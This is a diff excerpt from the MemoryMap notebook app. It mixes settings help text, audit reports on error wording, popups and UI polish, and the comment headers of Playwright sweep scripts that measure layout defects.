-	SearXNG is the recommended way to search. It is a self-hosted search engine that MemoryMap can install and run for you in one click — you don't need Docker, an account, or any setup of your own. It gives better results than scraping DuckDuckGo, it can't be rate-limited the way scraping can, and the 
-6058	<p class="muted" id=""> (130)
-	MemoryMap can start and stop SearXNG for you — settings and the JSON API are configured automatically, so there's nothing to edit.
-6138	<p class="muted" id=""> (232)
-	Everything the app is doing in the background right now — re-indexing your notes, downloading a model, loading the embedding model, setting up SearXNG. Jobs that can be stopped safely have a Quit button; the rest are left to finish.
-6163	<p class="muted" id=""> (139)
-	Have the agent automatically optimize your notes in the background — tagging untagged notes, finding duplicates, and linking related items.
-6273	<p class="muted" id=""> (176)
-	Pause background AI tasks and heavy graph calculations to save power. When enabled, autonomous background tasks will not run, and the graph may be slower to update connections.
-6283	<p class="muted" id=""> (123)
-	Stops the app and its server properly, so nothing is left running in the background and the next start finds its port free.
-6302	<p class="muted" id=""> (132)
-	JSON/CSV/Markdown exports include everything, even binned notes. Full Backup is a portable zip of the raw database and media folder.
-6335	<p class="muted" id=""> (181)
-	Finds notes that say much the same thing, by comparing their words — no AI needed. Merging keeps every tag, and the notes it replaces go to the recycle bin, so nothing is destroyed.
-6389	<p class="muted" id=""> (158)
-	Turns a PDF, Word file or slide deck into notes — one per chapter or slide when the file has that shape, one note otherwise. Needs the markitdown extra below.
-6413	<p class="muted" id=""> (213)
-	A backup is also taken automatically once a day when the app starts. Restoring first snapshots the current state, so even a restore can be undone. Backups live in your data folder — they never leave this computer.
-6425	<p class="muted" id=""> (179)
-	MemoryMap is a single-user app: one notebook, one password, all on this machine. To keep separate notebooks, run the app with a different data folder rather than a second account.
-6439	<p class="muted" id=""> (188)
-	Your current password is asked for even though you're already unlocked — being at an unlocked screen isn't proof of knowing it. Private notes move across to the new password automatically.
-6462	<p class="muted" id=""> (138)
-	Unlocking issues a token that lives in memory only, so restarting the app locks it again. Changing your password ends every other session.
-6486	<p class="muted" id=""> (158)
-	There is no reset link, on purpose — one inside an app you're locked out of would just be a way in for anyone at the keyboard. Run this in a terminal instead:
-6492	<p class="muted" id=""> (334)
-	It asks you to confirm, then clears the password so you can set a new one. Your ordinary notes are not encrypted and come back untouched. Private notes are — their key is derived from your password, so without it they cannot be recovered by anyone, and the reset loses them. The command tells you how
-6541	<p class="muted hidden" id="log-terminal-hint"> (132)
-	Approximates what would print to the console window — not a byte-for-byte capture, since nothing here runs a real terminal emulator.
-6639	<div class="settings-group help-chat-group" id=""> (145)
-	Ask the guide New chat Quick "how do I…" answers about MemoryMap itself, from your utility model — not your notes, and nothing here is saved. Ask
-6665	<p class="muted" id=""> (145)
-	A 100% offline, local-first notebook where a local AI files your thoughts and answers questions about them. Your data never leaves this computer.
-6719	<small class="muted" id=""> (123)
-	How long each kind of job has been taking on this machine — the median and the slow end, from the last forty finished jobs.
-6819	<p class="muted hidden" id="desktop-console-hint"> (298)
-	On by default. Turn it off for "User view" — the app runs with no console window at all, just this app window and a system tray icon. You can also switch live from the tray icon's own menu, which remembers your choice for next time too, and the app briefly restarts itself when you switch this way.
-6839	<p class="muted hidden" id="desktop-tray-hint"> (249)
-	With this on, the X button hides the window and the app keeps running behind the tray icon — click it to bring the window back, or right-click → Quit to close it properly (which also stops any background work). With it off, closing the window quits.
-7030	<p class="muted" id=""> (166)
-	These follow the conventions every app shares, so they aren't rebindable — being unable to press Escape in the dialog you rebound it in is not a state worth allowing.
-7181	<p class="muted" id=""> (169)
-	Record a meeting, a lecture, or anything longer than a quick note — transcribed locally with Whisper, the same engine behind the mic button. Nothing leaves this machine.

+# Help inventory (INBOX 448 (1))
+
+Every user-facing feature from CHANGELOG's Unreleased and 0.3.x sections that a person might need to find, the help entry (`HELP_TOPICS` id) that covered it before this pass, and the one that covers it now. The checked form is `FEATURES` in `tests/test_help_coverage.py`: some entry's body must hold the listed words, and the question must reach that entry in the Guide's top three. Settings, Help lists every entry (`GET /help/topics`), and its search finds an entry by title, keywords or text.
+
+Before: 5 of 52 genuinely covered (8 by the words, 3 of those by accident), 4 of 52 reachable by the question. After: 52 of 52 covered and reachable.

+# Polish sweep, INBOX 472 ("official, not a demo")
+
+Base f261111. Server on :8855, data /tmp/mm-a855, seeded notebook (13 notes, 1 board).
+
+## Method
+
+- grep of `frontend/index.html` and `frontend/js/*.js` for TODO, coming soon, not implemented, lorem, foo, demo, beta, placeholder emails and URLs, console.log/debug/info, "!" and em-dash escapes in strings, and every place a failed response becomes a message.
+- Playwright walk (`lib.js` boot): every tab (dashboard, notes with its four sub-tabs, library with all seven sub-tabs, chat, graph, timeline, reminders, documents, whiteboard), the welcome overlay, and every Settings section (21). For each surface the visible text, `title`, `aria-label`, `placeholder` and input values were scanned for `undefined|null|NaN|[object|ISO timestamp|TODO|coming soon|lorem|Oops|!|em-dash|HTTP nnn|JSON|API|endpoint|localhost|demo|beta`, then a second pass for `Invalid Date`, bad pluralisation (`1 notes`), `None/True/False`, `${`, `{{`, doubled words. Browser console was captured for log/info/warning.
+- A browser probe of `apiJson` against real 422, 404, 405 and a refused connection, before and after.
+
+## Fixed (3 commits)
+
+1. **Error toasts read as sentences** (e3db2ff). Every error toast prints `error.message`, which was the server's `detail` untouched.
+   - Before: a validation failure toasted `[{"type":"missing","loc":["body","content"],"msg":"Field required","input":{}}]`; a server fault "Internal error"; a missing route "Not Found"; a dropped connection "Failed to fetch"; chat-agent/documents/capture-ask threw `detail.detail`, which is `[object Object]` when it is a list; upload, import, export, transcription and attach paths said "Upload failed (500)", "Import failed (413)", "Export failed (500)".
+   - After (measured in the browser): 422 "Check the content and try again."; a 404 or 405 with no sentence "That could not be found. It may have been deleted." / "That was not accepted. Try again."; 5xx "Something went wrong inside MemoryMap. Try again; if it keeps happening, Settings > Logs has the details."; refused connection "MemoryMap is not answering. Is it still running?". A sentence the server wrote ("Entry not found", "Already downloading x") passes through exactly, because a few callers read it (`/already downloading/i`, `/no checker/`). Callers that know what they were doing pass a fallback ("The upload did not work. Try again.").
+   - The raw text and status still go to Settings > Logs (`rawMsg` in `api()`).
+   - Where: `plainHttpError` in `status.js` (app.js is 42,944 of 43,000 gzip bytes, so it could not live there), call sites in app.js, chat-agent.js, documents.js (two), capture-ask.js, media.js (two), settings-data.js (two), library.js, settings-wiring.js, lightbox.js, settings.js (support bundle).
+   - Ratchet: `tests/test_plain_errors.py`.
+2. **Copy** (7cac363).
+   - `boot-guard.js` start-up failure notices carried two escaped em-dashes (`—`), which `test_no_em_dashes.py` cannot see because it reads the character. Rewritten with a comma and a full stop.
+   - Toasts "Linked!" and "Focus session complete: nice work!" (also the desktop notification) lost the exclamation marks.
+   - Settings > Web search read "Settings and the JSON API are configured automatically." and its help said the same; now "SearXNG is set up for you, so there is nothing to edit."
+3. **About** (this commit set). Version was already shown (`#about-version`); the licence was nowhere in the UI. Added "Free software, licensed under the GNU Affero General Public License v3." under the version, same recipe (a `.muted` paragraph in the existing hero group). A failed `/health` read used to print "Version ?"; now "Version not available right now". Measured: the hero still fits its box.
+
+## Checked and clean
+
+- Rendered text of every surface above: no `undefined`, `null`, `NaN`, `[object`, raw ISO timestamps, "Invalid Date", `1 notes`-style plurals, template leftovers, "Oops", exclamation marks or em-dashes (Settings > Logs excluded: it is a log viewer and prints uvicorn access lines by design).
+- `console.log/debug/info`: none in app code (only inside the vendored harper and codemirror bundles, and a code-snippet string in `documents-code.js:529` that the editor offers as a completion).
+- Browser console during the walk: no log, info or warning lines.
+- `console.warn/error` that remain (tour.js, whiteboard.js, documents.js, settings-panes.js, settings-wiring.js, attachment-actions.js) are deliberate diagnostics that `recordBrowserLog` mirrors into Settings > Logs.
+- TODO / coming soon / not implemented / foo / lorem / demo / beta: none in user copy. `lorem` is a typed expansion in the document editor (a feature), "To do" is a note kind, "beta" is the Greek letter picker.
+- `<title>`, manifest name and description are product copy.
+
+## Open (not fixed)
+
+- `frontend/js/dashboard.js:297` `withDisplayName`: the greeting accepts `!` as its closing mark from the server (`src/memorymap/api/routes_insights.py:108,124` documents "Morning, Sam!"). CLAUDE.md section 6 says no exclamation marks. A one-line change (always "."), left because the owner may want the warmer greeting; say which.
+- Server-written `detail` strings that reach toasts verbatim and use developer words, for example `src/memorymap/api/routes_whiteboard.py:495` "A {kind} object needs content", `:504` "needs a ref_id, the id of the ... it stands for", `routes_whiteboard.py:2890,2996` "No node with id N on this board". Plain enough to read, but they name a field. A sweep of `detail=` across `src/memorymap/api/` for wording would be a Sonnet task.
+- `frontend/js/settings.js:977` `stream failed (status)`: shown nowhere (it feeds the live-log retry), left.
+- Settings > Logs prints raw uvicorn access lines (`GET /entries ... 200`). Intentional for diagnostics; a "Show server requests" filter that defaults off would make the default view read as a product log.
+- Settings > Models and Privacy show `http://localhost:11434` as the backend address, and the Models/Web search inputs use `http://localhost:11434` and `http://localhost:8888` as placeholders. Legitimate (it is the setting), listed because a first-time reader meets it.
+- "Export JSON / Import JSON" buttons in Personas, Skills and Import & export: file-format names, kept.
+- The greeting "Rise and shine" family and other dashboard microcopy were not re-read line by line for tone; only scanned for the patterns above.
+- Lint gap: `tests/test_no_em_dashes.py` reads characters only; the escaped form `—` is now ratcheted for boot-guard.js alone (`tests/test_plain_errors.py`), not repo-wide, because `documents-prose.js:1430` and `markdown.js:111` use it legitimately (typing `--` produces a dash; a quote's attribution parses one).
+
+## Not verified
+
+- A real server fault (a true 500) was not provoked; the 5xx wording was checked by calling `plainHttpError(500, "Internal error")` directly, and the 422/404/405/network paths through `apiJson` in Chromium.
+- Dark theme, phone widths and the guided tour copy were not walked for this sweep (copy does not change with them; the tour was not opened).
+- Every error toast site was not triggered one by one; they all read `error.message`, which `api()` now sets.

+# Popup inventory (INBOX 456)
+
+The owner, 2026-10-03: "make sure all the popup windows and panels are the same design and style."
+
+One row per popup surface (42), measured with `scratchpad/ui-sweeps/popupinv.js` (Playwright, `getComputedStyle` and
+`getBoundingClientRect`, no screenshot read as a number), at 1440x900 and 390x844, light and dark, before and after the
+change. `scratchpad/ui-sweeps/popupall.sh before|after` writes the JSON, `popupmd.py` writes this file and `popupcmp.py`
+counts the distinct values per property inside each tier.
+
+Reading the columns: `close` is the kind, the box, then its offset from the card's right (`r`) and top (`t`) edge; `box`
+is the card's width x height as opened; `scrim` is the overlay's colour (a `<dialog>`'s `::backdrop`). Phone rows read
+inside their own geometry: a sheet is full width with square bottom corners, the agent panel docks to the edge.
+
+Openers are the real ones where cheap (`openSheet`, `confirmDialog`, `openHelpChat`, the bell, a '?' press); the rest are
+opened by taking `hidden` off the overlay or by `showModal()`, the shortcut `dialogheads.js` already takes. The head
+and the close are found by the selectors in `popupinv.js` (named per surface where the generic search is wrong).
+
+**Not tiers, by design** (named so the numbers below are read fairly): the welcome wizard (slides, no head), the confirm
+alert (a question and its answers), the Ctrl+K palette (an input and a list), the popovers and menus (anchored, no head,
+the popover shell), and the in-page columns (Ask history, the notes rail, the Web panel, the board's Library) which are
+cards in the page and keep the panel-head recipe. They are listed in the DESIGN.md row.

+Measured with `pickerinv.js` through the real `openNotePicker()` on the Chat tab (a sheet below 600), three notes seeded, one ticked. It is a panel (floating, with the dialog head), so its shell is the panel tier's; what changed is the rows (a second muted line, the category as a dot and quiet text instead of a filled chip) and the footer.

-branches, `_run_skill` 682 and 66, `chat_stream` 424 and 46, `graph` 355 and

-**Lines** are the function's own span (`end_lineno - lineno + 1`), docstring
-and comments included, because what makes a function hard to hold in the head
-is how far you scroll, not how many statements survive a minifier.
-
-**Branches** counts the decision points inside the function *excluding nested
-function bodies*: `if`, `for`, `while`, each `except`, each `with` item, each
-boolean operator past the first, each comprehension `if`, and each `if`/`else`
-expression. A nested helper is a thing you can read on its own, which is
-precisely what the split produces, so counting its branches against its parent

+## After
+
+The table above is the tree at 8373c7e. After the five rewrite commits the
+same collector finds 302 literals and 0 to rewrite, and
+`tests/test_server_detail_wording.py` holds that line. A few "keep" rows were
+also tidied by hand because the rules cannot see them (comma splices that
+should be two sentences, the Word exporter's package name, the update
+route's hints).
+
+## Computed detail sources (the "not touched" list, worked)
+
+45 routes in `src/memorymap/api/` pass a message they did not write to the
+toast (`detail=str(exc)`, `reason`, `info['error']`, a constant). Rows are
+file:line at 910a9ad. "Source" is where the sentence is written; "Done" is
+what changed. `tests/test_core_message_wording.py` now reads every source
+listed here with `ast`, applies the wording rules from
+`tests/test_server_detail_wording.py` plus two of its own (no raw exception,
+no `pip` line), and holds the route list below as `REVIEWED_COMPUTED`.
+
+| Route (file:line) | Status | Expression | Source | Done |

+
+| Where | Was | Now |
+| --- | --- | --- |

+
+### Left as is, on purpose
+
+- routes_backups.py:106 keeps `exc.strerror` ("No space left on device"): the
+  OS's own one-line reason, which the person can act on, and a test pins it
+  as the deliberate design (no path, no errno).
+- The chat stream's `librarian.model_error_message` and `describe_http_error`
+  (ai/ollama_client.py) still quote the provider's words: they are answer
+  text in the bubble, not a `detail`, and their docstrings record the
+  decision to quote the server. Found, not fixed.
+- `jobruns.note_finished("import", "failed", f"... {exc}")` records the
+  converter's own error on the Settings last-run line.
+- `ProviderError` messages in ai/ollama_client.py and ai/openai_client.py
+  (`Chat with 'x' failed: {exc}`) are the model-facing text the agent loop
+  and the chat stream use; no route shows them as a `detail` any more.
+- About 90 `ToolError` messages in ai/tools/ are written for the model (they
+  name tools and arguments). Only the ones a UI route can show are held to
+  the rules (categories, `validate_make_plan`, `summarise_turns`); the
+  confirm route no longer forwards the rest.

+
+The owner: "do another round of improve and redesign the ui/ux for the
+application", with eight skills named. Each skill was loaded and used as a
+checklist; DESIGN.md overrides them for `frontend/` (where they disagree:
+web-design-guidelines asks for Title Case, DESIGN.md for sentence case;
+DESIGN.md wins).
+
+**Method.** A 15-note seed with two documents, a chat and a board
+(`/tmp/mm-aud42`). Every tab, every Library sub-tab, 27 Settings sections and
+six dialogs (palette, Tools and features, shortcuts, quick note, note and
+document templates), at 1440 and 390, light and dark: 188 screenshots, each
+of the 1440 light set and the phone set looked at, the dark set sampled. Then
+a measurement for each defect named below (sweeps in
+`scratchpad/ui-sweeps/`: `groupheads.js`, `switchalign.js`, `paneintro.js`,
+plus probes). Fonts in the sandbox are DejaVu, not the owner's system face,
+so widths in characters are approximate; every pixel number is from
+`getBoundingClientRect`/`getComputedStyle`.
+
+**unslop-ui scanner.** The skill's `scripts/devibe_scan.py` is not on disk
+(only SKILL.md is synced, as on 2026-09-1x). A stand-in implementing the
+SKILL.md's named high tells (AI-purple gradients, gradient text, untouched
+Tailwind/shadcn colours, emoji glyphs in markup and scripts, coloured glows,
+autopilot fonts, the cream ground) found 4 high, 0 medium: all four are lines
+of the `:shortcode:` emoji table in documents-prose.js, which is data, not
+icons, now marked `unslop-ignore` with that reason. 0 after.
+
+## Ranked by impact
+
+Status: **fixed** (with its commit's before/after) or **open**.
+
+1. **Fixed. Settings heads in three voices.** 44 group heads at
+   14.7px/650 inside a `.settings-group`; 10 loose on the pane at 12px/600
+   (Personas x4, Templates, Skills, Web search x2) and Web search's "Your
+   SearXNG instance" at the pane title's 18.4px. After: all in groups at
+   14.7px/650. Lint `tests/test_settings_group_heads.py`.
+2. **Fixed. Every Settings switch on an edge of its own.** 130 switch rows,
+   the switch 9px inside the edge the group's head, labels, fields and hints
+   use. After: 0px for the 95 rows in a group's flow. (DESIGN.md "A:
+   Alignment".)
+3. **Fixed. Settings head wraps on a phone, Close leaves its corner.** At
+   390 and 360 the head was 78px with Close at y=64 (62px in from the corner
+   at 360); Appearance (Peek) wrapped at 390 even after the first pass.
+   After: 44px, Close at y=31, 0px from the corner, at 390/360/320 on
+   General and Appearance.
+4. **Fixed. Pane descriptions over one line** (standing order 6). Tools 3
+   lines, Personas 2, Help 2. After: 1. Lint
+   `tests/test_settings_pane_intro.py`.
+5. **Fixed. Library previews run blocks together.** "Goals Ship the
+   notebook redesign Cut travel spend by 15% Risks The hiring freeze...".
+   After: "Goals · Ship the notebook redesign · Cut travel spend by 15% ·
+   Risks · The hiring freeze..." (documents list and every Library card).
+6. **Fixed. The palette on a phone speaks of a keyboard.** One key-hint
+   line and 20 key chips at 390 on a touch screen; the prompt 323px in a
+   303px field. After: 0, 0, 274px.
+7. **Fixed. File pickers wear the hover face.** The "Choose files" button
+   beside its Import: `--ghost-btn-bg` (the tonal hover) at rest, a 0.10
+   edge against 0.52, 12px/500 against 13.6px/600. After: identical on all
+   seven properties, both themes.
+8. **Fixed. Copy that says the same thing twice or points nowhere.**
+   Models: "Ollama isn't running" as the status and again one line down.
+   Images and Files: the empty state's button was "Capture a note" under a
+   dock whose verb is Upload. Reminders: "Add one above" on a phone, where
+   nothing is above.
+9. **Fixed. Tab bar labels move when the selection does.** The active tab
+   was font-weight 600, so its label widened and every tab after it shifted
+   ("Notes" at x=549 on Dashboard, 543 on Notes; 6px). The selected label
+   now keeps the resting weight and is drawn heavier with
+   `-webkit-text-stroke` (paints, does not lay out). After: 0px across all
+   seven selections at 1440. The audit's reserve-the-bold-width fix was
+   built first and measured worse: the strip 29px wider at 1093 and the
+   header on two rows at 900, 1024 and 1200; header heights now match the
+   base at every width from 700 to 1440. Lint `tests/test_tab_label_width.py`.
+10. **Decided, kept.** Library note cards' sentence-as-title stays (the
+    owner's decision; the lower bound is not taken).
+11. **Fixed. Timeline rows cut at a character count, not at the edge.**
+    "Learning Rust: ... borrows as loans. #learn…" ended at x=896 with 430px
+    of empty row before the time; the title span is 1248px wide and did not
+    overflow, so the "…" was in the text (`PREVIEW_CHARS = 120`,
+    routes_timeline.py). After (240): the whole line, ending at x=904,
+    `.timeline-row-title`'s own ellipsis left to cut a longer one.
+12. **Fixed. Dashboard widgets' empty states have no action.** Eleven
+    widgets were a sentence only. `dashEmpty(body, text, action)` draws the
+    recipe with one ghost button carrying `data-empty-action` and
+    `data-empty-tab`/`data-empty-sub`, which the delegated listener opens
+    and waits for first. Each click measured landing (Add a reminder focuses
+    `#reminder-text`, Add a bookmark opens the form on Links, Open boards
+    shows the Boards sub-tab). In a card the recipe's padding is a step: an
+    empty Favourites card 101px before, 163px after with its button. Lint
+    `tests/test_dashboard_empty_actions.py`.
+13. **Fixed. Settings switch rows' dividers wider than the head's rule.**
+    Measured (`scratchpad/ui-sweeps/switchdivider.js`) on 67 rows: 9px past the head each side
+    (58 Tools grid rows on their outer side). The hairline is an inset
+    background image now; the hover and checked fills still show. At 390
+    the Tools grid track was 272px in a 268px column (4.4px more);
+    `minmax(min(17rem, 100%), 1fr)`. After: 0/0 on every row at 1440 and
+    390, light and dark. Lint `tests/test_settings_switch_divider.py`.
+14. **Fixed. Two disclosure markers.** Settings folds, the help accordion
+    and task logs drew a 5x6px border triangle crossed with 07's 2px border
+    chevron; the Library drew the 16px Phosphor caret. Every fold now draws
+    the caret (`\e136`, 1em, the row's colour, -90deg closed): 11 Settings
+    and 95 help summaries at 15x14.7, summary heights unchanged (34/32px).
+    DESIGN.md "A disclosure marker"; lint `tests/test_disclosure_marker.py`.
+15. **Fixed. Library counts disagree.** Cause: `/whiteboard/boards` always
+    returns the default scratch board (`id: null`), `/library` lists boards
+    that are notes. One predicate, `libraryListsBoard` (note-cards.js): the
+    default board is listed when something is on it. The gallery, its
+    counts, its tick sync and the dashboard widget use it. After: Boards 1
+    and All 1 / Boards 1. Lint `tests/test_library_board_counts.py` (runs
+    the predicate under node).
+16. **Fixed. Chat's "Ask Atlas" a two-line capsule on a phone.** Below
+    600px every offer takes `--radius-md` (the chat chips' corner beside
+    it), and Chat's says "Ask Atlas what it can change": 214x44, one line
+    (was 320x46, two lines, 999px). The Notes empty state's longer question
+    still wraps at 390, now in a 4.8px corner. Desktop keeps the pill.
+17. **Fixed. Reminders' quick-set row mixes corners.** Quick set took the
+    steppers' pill in this row (named in `PILL_CONTROLS`, as the chat
+    composer's row is): 999px on all three controls, was 4.8px beside 999px.
+18. **Fixed. Import is two steps for one action, three times.** One
+    button each (Import files, Import a folder, Import a document) opens a
+    hidden picker and choosing starts the import; the toast's Undo bins
+    exactly the notes made (both endpoints return `ids`). Driven at 1440 and
+    390: 2 notes imported with one press, Undo took the library search from
+    2 to 0. DESIGN.md "Choosing files to bring in"; lint
+    `tests/test_import_one_step.py` (no visible native file input).
+19. **Fixed. Duplicate explanations.** Bookmarks' empty state dropped its
+    "Add a website to keep it a click away." under the lede that says the
+    same: three visible sentences on an empty tab before, two after.
+20. **Fixed. The phone dashboard's search field stops 19px short.** The
+    desktop hairline's padding on `.dock-actions` (0,2,0) outranked the phone
+    reset (0,1,0). After: 9.6px, the dock's gap; every other phone dock the
+    same height and control positions.
+
+Not defects, checked: the graph's first 1.4s shows a zoomed camera that
+settles to fit all 15 nodes by 6s (an entrance, measured); the highlighted
+rows in several stills were the pointer resting where the sign-in button
+was; Chat's '?' in the pane's corner is the owner's decision (INBOX 236).

+## Sweeps after the fixes (port 8842, the seeded notebook)
+
+- `errors.js`: 0 errors, 0 layout findings at 1440, 1024, 820 and 390.
+- `contrast.js`: every tab and Settings section ok, light and dark.
+- `axe.js`: 0 findings, light and dark at 1440 (100 and 103 nodes axe
+  could not decide, as before).
+- `touch.js` at 390: 0 findings. Its "Settings sheet" row measured 0
+  controls: it opens Settings by `#settings-btn`, which a phone keeps in the
+  header's kebab, so that row measures nothing (the sweep's gap, not this
+  change; the head was measured separately, item 3).
+- `docks.js`: no dock over its control count or with mixed heights.
+
+## Sweeps after items 9 to 20 (port 8851, the same seeded notebook)
+
+- `errors.js`: 0 errors, 0 layout findings at 1440, 1024, 820 and 390.
+- `contrast.js`: every tab and Settings section ok, light and dark.
+- `touch.js` at 390: 0 findings (its Dashboard and Settings rows still
+  measure 0 controls, the sweep's gap noted above).
+- `docks.js`: no dock over its control count or with mixed heights.
+- New probe `switchdivider.js`: every Settings switch row's hairline 0/0
+  against its head at 1440 and 390.

-//
-// The owner's screenshot is a card reading "3 cards, 8 sketches, 1 item" over
-// a wash of rounded blobs and one squiggle, so this seeds exactly that board,
-// through the app's own API, and then asks the picture five questions:
-//
-//   1. How many marks are drawn, against how many things are on the board? A
-//      preview that draws eight sketches as one mark is missing seven.
-//   2. How many *distinct positions* do the sketch marks occupy? Sketches are
-//      stored with x=0, y=0 and their strokes in absolute board coordinates,
-//      so a preview that reads x/y puts every one of them in the same corner.
-//   3. How many distinct sizes? One size for eight sketches is a picture of
-//      the renderer, which is the fault INBOX 68 fixed for cards and objects.
-//   4. How round is a block, as a fraction of its own short side? A card on
-//      the canvas is a rounded rectangle; past about a fifth of the short side
-//      it is a blob, and a wall of blobs is the report.
-//   5. How many labels are legible, and how many marks carry the board's own
-//      ink rather than one flat accent wash?
-//

-// toolbar, the Notes browse row, Capture, Write with AI, Ask, the batch bar,
-// the reminder magic row. Seven separate reports of the same defect, because

-//
-// The shape is always the same: a row holds a `select` at the form-field

-// (`docs/roadmap/agent-remaining/OPEN.md` proposed exactly that): it was
-// measured, 2026-09-21, by adding that edge to every borderless button in the
-// running app and re-walking all seven tabs. 18 of 312 visible buttons moved,

-// Reported (INBOX 430, from the coordinator): "there keeps being scroll
-// jump on various pages like the chat conversations (I have a sources
-// dropdown open if that is any help)".
-//
-// **Not reproduced as of this writing.** This sweep follows the reported
-// repro exactly: open a chat with several real tool-using turns (so it has
-// a Sources fold, per chatSourcesPanel), open that fold, scroll the
-// transcript to the middle, then watch #chat-messages.scrollTop for 20s
-// idle and again while a new turn streams. Run against a real backend
-// (`bash scratchpad/ui-sweeps/serve.sh <port> <dir>`) with a fake OpenAI
-// server for the model (`python3 scratchpad/fake_openai_server.py --port
-// 8799`, then POST /models/provider {"provider":"openai","base_url":
-// "http://127.0.0.1:8799/v1"}) so the turns actually stream instead of
-// erroring offline.
-//
-// **The gap this sweep cannot close on its own**: fake_openai_server.py
-// answers close to instantly (no artificial per-chunk delay flag), so a
-// run against it never sustains more than a few hundred ms of real
-// overlap between "the reader is scrolled away, mid-turn" and "the stream
-// is still writing". A genuinely slow model exposes a wider window;
-// CLAUDE.md section 4's `scratchpad/llama-dev.sh serve` is the way to get
-// one for a real run of this sweep (`pytest -m evals`-style, but this is a
-// browser sweep, not a pytest marker: run it by hand with
-// MEMORYMAP_EVALS_URL/MODEL pointed at the llama.cpp server instead of the
-// fake one, same POST /models/provider shape).
-//
-// What was tried and came back clean, all against the fake server:
-//   - the prescribed method above verbatim: 20s idle + 8s of a real
-//     streaming turn, both starting scrolled to the pane's middle with a
-//     Sources fold open: 0px of scrollTop drift in either window.
-//   - a real mouse-wheel scroll mid-turn (not a programmatic scrollTop
-//     assignment): the pane followed the wheel and stayed there, keepAtBottom
-//     never snapped it back.
-//   - opening/closing every Sources fold currently scrolled *above* the
-//     visible viewport: Chrome's own scroll anchoring compensated
-//     correctly (scrollTop moved to cancel the height change; the content
-//     actually on screen did not move a pixel).
-//   - a MutationObserver on <body> plus a scroll listener on #chat-messages,
-//     idle for 25s with a fold open: only the expected background chatter
-//     (data-stuck flips, the status-bar clock ticking, the jump-to-latest
-//     pill's own attributes) and zero scrollTop deltas over 3px.
-//
-// Kept as a sweep, not deleted, because a non-repro against an
-// instantaneous fake model is not a clean bill of health for a bug this
-// specific: exit code 0 here means "still not reproduced under these
-// conditions", not "fixed". `--full` in scripts/gate.sh does not run this

+// Per case, the companion is put on a panel the way a drag puts it there

+// under the area's top, so the figure's head is over the gap or the bar).
+// The area is then scrolled with the wheel so the perch passes under the top
+// bar, and back the other way so it passes under the bottom bar. Every frame
+// records how many px of the drawn figure are visible (the figure's box
+// clipped by the band's box, and by the shutter's inside it, when it rides):
+//   overTop   rows inside the top bar's rect;

+// Each is judged only on the frames its perch (the card's top edge) has
+// itself gone under that line: "exactly like its perch". At rest, a head
+// over a bar is drawn whole, by design (the band is widened for it), so

-// INBOX 279 (1): what each of the dashboard's three densities actually costs.
-//
-// The owner: "fix and refine the full compact and focused views on the
-// dashboard as the hero section loses a lot and they can just be improved so
-// much more". The claim to test is not "is it shorter", which Compact plainly
-// is, but **what each level drops**: the recorded recommendation is that every
-// level keeps the hero's identity (the greeting and the one number) and shrinks
-// its art and secondary rows instead of losing the hero.
-//
-// So this measures, per density and per width:
-//
-//   * the chrome above the widget grid (the top of the page to the top of
-//     `#dash-grid`), which is the number INBOX 270 was about;
-//   * the hero's own height;
-//   * every named band, present or dropped, so "what it drops" is a list
-//     rather than an impression.

-//  - Read renders the same block the same way;
-//  - `![[name|300|center]]` and `![alt|300](url)` are 300px wide, aligned and

-//    the rule every other marker in this view follows;
-//  - a field's write reaches the document as an edit over the value's own
-//    span: the test in tests/test_doc_frontmatter.py proves that of the model,
-//    this proves the panel is wired to it;
-//  - the panel lines up with the writing under it (one measure, one left
-//    edge), because a panel at the pane's width over a 78ch column reads as
-//    two unrelated surfaces;
-//  - Source shows the YAML itself and has no panel, Read renders it as rows;

+// **Re-pointed 2026-10-05 at the CodeMirror editor.** The sweep was written for
+// the textarea editor: a `<textarea id="doc-content">`, a hand-rolled undo
+// stack (`docUndoStack`), a backdrop of `<mark>`s behind the text, a Live view
+// of one `.lp-src` box per paragraph and a `.doc-gutter` column. All of that is
+// gone (DOCUMENTS_PLAN Phase 8), so every read now goes through `docSurface()`
+// (the adapter with the textarea's own interface over the view) and the marks
+// are `.cm-finding[data-doc-finding]` inside `.cm-content`. Of the old 89
+// checks, 78 remain (all passing at 1440). Retired, not ported: the backdrop's
+// own geometry and ink, D3's stack depth, cap and coalesce constants, Live's
+// per-paragraph boxes, the backdrop's switch-off in Live and in a code file,
+// and the textarea gutter's padding and font-size match (since INBOX 590 the
+// numbers are smaller on purpose, so baselines are compared instead; the
+// documents editor's own column is measured against the engine's `coordsAt`).
+// Found while porting: Playwright's `Control+Shift+z` sends `event.key === "z"`,

-"""The app with a **fake** optical reader, for driving the reading workspace.

-Tesseract is a system binary and it is not in this sandbox (CLAUDE.md section

-scanned PDF answers "nothing read yet", which is the one state in which the
-reading panel's two page-linked behaviours (INBOX 314: the panel following the
-page, and a section taking you to its page) cannot be measured at all.

-So this serves the real app with `ocr.extract_regions` replaced by a function
-that answers like Tesseract would: a heading and two paragraphs per page, at
-plausible positions, different on every page so a sweep can tell page 4's

-// The shape being hunted: a popover is made visible first and positioned
-// afterwards, so the browser paints one frame of it wherever its CSS left it
-// (usually 0,0 or the far edge) before the JS moves it. It is one or two
-// frames, so a screenshot almost never catches it and a person always does.

-// How this sees it: a MutationObserver installed before any page script runs
-// watches every attribute change in the document. When an element goes from
-// not-rendered to rendered, its rect is sampled on the next animation frame
-// and again four frames later. A popover that was positioned before it was

-// GRAPH_PLAN Phase 4, the last open item: the local map beside an open note or
-// document, the same renderer at `size: "pane"`.
-//
-// What this has to prove, and why each number is here:
-//
-//  1. The pane draws. A canvas measured inside a hidden parent is 0x0 and
-//     paints nothing, which is the failure mode of every panel built this way,
-//     so the box, the backing store and the node count are all read rather
-//     than the element's existence.
-//  2. It draws the *local* map: the node count matches `/graph/local` for the
-//     note that is open, not the whole notebook.
-//  3. **It does not fight the Graph tab.** This is the reason the item was
-//     left: the renderer used to keep its state in module-level singletons. So
-//     the tab's own node count, camera and canvas size are read before the
-//     pane is ever opened and again after it has drawn, and they must be
-//     identical.
-//  4. It follows what you have open, on both surfaces it attaches to.

-// The picture cards, on the fourth report (INBOX 164: "the image cards in the
-// library images subtab need a massive improvement in ui and ux").
-//
-// The third report was geometry and is measured by `imagecard3.js` (the tick's
-// ground, the filename band, the open fold's cap), which still passes. This one
-// asks what is left, at rest and with a fold open, and the questions are about
-// *use* rather than about paint:
-//
-//   1. Can the card's own action be reached without a pointer? Opening the
-//      picture is the whole point of a gallery. It is a click handler on the
-//      thumbnail and another on the filename, neither of which is focusable, so
-//      a keyboard cannot open a single picture in the Library.
-//   2. Does the card say it can be opened? A pointer over a thumbnail that
